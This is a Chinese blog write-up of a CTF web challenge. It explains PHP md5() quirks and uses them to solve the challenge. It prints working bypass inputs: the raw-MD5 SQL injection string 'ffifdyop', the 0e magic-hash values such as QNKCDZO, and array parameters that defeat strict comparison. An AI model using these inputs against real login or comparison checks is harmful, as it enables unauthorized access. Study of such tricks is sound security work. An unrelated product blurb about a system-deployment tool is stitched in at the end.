buuctf web [BJDCTF2020]Easy MD5

目录


一、MD5相关内容总结

                1、基础使用

                2、输出格式

                3、科学计数法(0e绕过)

                4、数组类型(数组绕过)

                5、算数运算配合自动类型转换        

                6、数值类型

二、做题思路

                1、burp抓包

                2、 数据库,MD5,提交ffifdyop

                3、md5弱比较,md5强比较绕过


一、MD5相关内容总结

md5() 可以计算字符串的「MD5散列值」

  • 语法
  • string md5(&str, raw)
  • 参数
  • $str :需要计算的字符串
  • raw :指定十六进制或二进制输出格式
  • 返回值
  • 计算成功,就返回MD5值;计算失败,就返回false

1、基础使用

平时使用最多的就是「计算MD5」

实例:

echo md5('hello');

输出:

5d41402abc4b2a76b9719d911017c592
2、输出格式

raw 参数控制输出的「格式」

true :16个字符的「二进制格式」
false :(默认)32个字符的十六进制格式


如果你在项目中遇到MD5「加密结果不一致」的问题,可以观察两个加密结果的长度是否相同,比如一个结果是16位,而另一个结果是32位,这种情况就可以考虑更换输出格式来解决。

实例:

var_dump(md5('hello', true));
var_dump(md5('hello', false));

输出:

string(16) "]A@*�K*v�q��Œ"
string(32) "5d41402abc4b2a76b9719d911017c592"

3、科学计数法(0e绕过)

md5() 遇到「公式」,会先「运算」,再对运算结果「计算」MD5。

由于0和任何数相乘都等于0,所以0e开头的任何数,其MD5都是相同的。

比如 md5('0e1234'),会先运算成 md5(0),再计算MD5值。

补充:

0e是科学计数法,大小写等价,即 0e 和 0E 的结果相同。
科学记数法是一种记数的方法。把一个数表示成a与10的n次幂相乘的形式。
格式为:aEb=a×10^b,即a乘以10的b次幂。

实例:

echo md5(0).PHP_EOL;
echo md5(0e123).PHP_EOL;
echo md5(0e456).PHP_EOL;
echo md5(0E456);

输出:

cfcd208495d565ef66e7dff9f98764da
cfcd208495d565ef66e7dff9f98764da
cfcd208495d565ef66e7dff9f98764da
cfcd208495d565ef66e7dff9f98764da

绕过思路1:遇到弱比较( md5(a)==md5(b) )时,可以使用 0e绕过。

实例:

var_dump(md5(0e123) === md5(0e456));
var_dump(md5(0e123) == md5(0e456));

输出:

bool(true)
bool(true)


0e绕过还有一种变体:如果某个字符串的MD5值是0e开头的,在比较时,PHP也会先把它计算成 0,再参与比较。

绕过思路2:遇到若比较( md5(a)==0 ),可以传入QNKCDZO等绕过。

 实例:

echo md5('QNKCDZO').PHP_EOL;
var_dump(md5('QNKCDZO') == 0);

输出:

0e830400451993494058024219903391
bool(true)


一些MD5值为0e开头的字符串:

QNKCDZO   => 0e830400451993494058024219903391
240610708 => 0e462097431906509019562988736854
s878926199a => 0e545993274517709034328855841020
s155964671a => 0e342768416822451524974117254469
s214587387a => 0e848240448830537924465865611904
s214587387a => 0e848240448830537924465865611904

4、数组类型(数组绕过)

md5() 不能处理数组,数组都返回null。同时会报一个Warning,不影响执行,不用管。

实例:

var_dump(md5([1,2]));
var_dump(md5([3,4]));

输出:

Warning: md5() expects parameter 1 to be string,
NULL
Warning: md5() expects parameter 1 to be string,
NULL


绕过思路:遇到强比较(a===b)时,可以使用数组绕过。GET传参时,以 a[]=1&b[]=2 这种形式传递数组。

实例:

$a = array(1,2,3);
$b = array(4,5,6);

var_dump(md5($a)===md5($b));

输出:

Warning: md5() expects parameter 1 to be string,
Warning: md5() expects parameter 1 to be string,
bool(true)

5、算数运算配合自动类型转换

md5() 遇到运算符,会先运算,再计算结果的MD5值。

实例:

echo md5(1+2).PHP_EOL;
echo md5(3).PHP_EOL;
echo md5(1*2).PHP_EOL;
echo md5(2).PHP_EOL;
echo md5(1&1).PHP_EOL;
echo md5(true);

输出:

eccbc87e4b5ce2fe28308fd9f2a7baf3
eccbc87e4b5ce2fe28308fd9f2a7baf3
c81e728d9d4c2f636f067f89cc14862c
c81e728d9d4c2f636f067f89cc14862c
c4ca4238a0b923820dcc509a6f75849b
c4ca4238a0b923820dcc509a6f75849b


当字符串与数字类型运算时,会将字符串转换成数字类型,再参与运算,最后计算运算结果的MD5值。

实例:

echo md5('1'+2).PHP_EOL;
echo md5(3).PHP_EOL;
echo md5('1'*2).PHP_EOL;
echo md5(2);

输出:

eccbc87e4b5ce2fe28308fd9f2a7baf3
eccbc87e4b5ce2fe28308fd9f2a7baf3
c81e728d9d4c2f636f067f89cc14862c
c81e728d9d4c2f636f067f89cc14862c
6、数值类型

虽然 md5() 要求传入字符串,但传入整数或小数也不会报错;数字相同时,数值型和字符串的计算结果是相同的。

实例:

var_dump(md5(123));
var_dump(md5('123'));
var_dump(md5(10.1));
var_dump(md5('10.1'));

输出:

string(32) "202cb962ac59075b964b07152d234b70"
string(32) "202cb962ac59075b964b07152d234b70"
string(32) "88d1955de012defb14b2db6f4797ff20"
string(32) "88d1955de012defb14b2db6f4797ff20"

PS:MD5相关内容总结部分摘自:PHP md5()函数详解,PHP计算MD5,md5()绕过,md5()漏洞原理剖析_php md5绕过-CSDN博客

二、做题思路

1、burp抓包

一顿提交,检查源码都没有得到什么有用信息

用burp抓包试试

得到有用信息

Hint: select * from 'admin' where password=md5($pass,true)

2、 数据库,MD5,提交ffifdyop

可知,数据再存入数据库之前使用了md5加密

我们在输入框中提交ffifdyop,会出现如下页面:

原理:

ffifdyop经过md5加密后会变成276f722736c95d99e921722cf9ed621c

再转换为字符串:'or'6(乱码)  即  'or'66�]��!r,��b

预想,数据库查询语句应为:

SELECT * FROM xxx WHERE username = 'admin' and password = ".md5($password,true)."

 而在mysql中,在用作布尔型判断时,以数字开头的字符串会被当成整型,不过由于是字符串,因此后面必须要有单引号括起来的,比如:‘xxx’or’6xxxxxx’,就相当于’xxx’or 6,就相当于 'xxx’or true,所以返回值是true。

所以,此时查询语句就会变成:

select * from xxx where user='amdin' and password=''or'6xxxx'

也就是,password=' ' or true=true

3、md5弱比较,md5强比较绕过

进入页面后,打开检查可看到注释信息,这里是一个弱比较


$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

这里使用:科学计数法(0e绕过)(绕过思路2)的方法绕过

构造payload:

http://3b2544a9-a3eb-4b09-87a8-f28609d74d0d.node4.buuoj.cn:81/levels91.php?a=QNKCDZO&&b=240610708

$_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])

 这里是一个需要post提交的强比较,使用数组绕过

得到flag( ^-^ )

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Easy Sysprep V5 是一款方便使用的系统准备工具。它可以帮助用户轻松地进行系统部署和准备工作。它支持多种操作系统版本,包括 Windows XP、Windows 7、Windows 8、Windows 10 等。 Easy Sysprep V5 具有很多实用功能。首先,它允许用户自定义系统配置。用户可以选择安装所需的软件和驱动程序,并进行个性化设置,如屏幕分辨率、网络设置等。这样,在系统部署后,用户就不需要花费时间手动安装软件和进行配置,大大提高了工作效率。 其次,Easy Sysprep V5 还支持创建系统备份和还原。用户可以使用该工具创建系统的镜像备份,以便在需要时恢复到某个特定时间点的系统状态。这对于系统出现问题或需要回退到先前状态的情况下非常有用。 此外,Easy Sysprep V5 还具有自动化部署功能。用户可以使用该工具将设置应用到多台计算机上,大大简化了大规模部署的任务。 Easy Sysprep V5 界面简洁友好,操作简单易懂,即使对计算机初学者来说也很容易上手。它提供了丰富的帮助文档和指导,用户可以通过查看文档来解决一些常见的问题。 总之,Easy Sysprep V5 是一款功能强大、易于使用的系统准备工具,无论是个人用户还是企业用户,都可以从中受益。它可以加快系统部署和配置的速度,提高工作效率,同时还具备自动化部署和系统备份还原的功能,为用户提供了更多便利。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿勉要睡觉(原神启动版)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值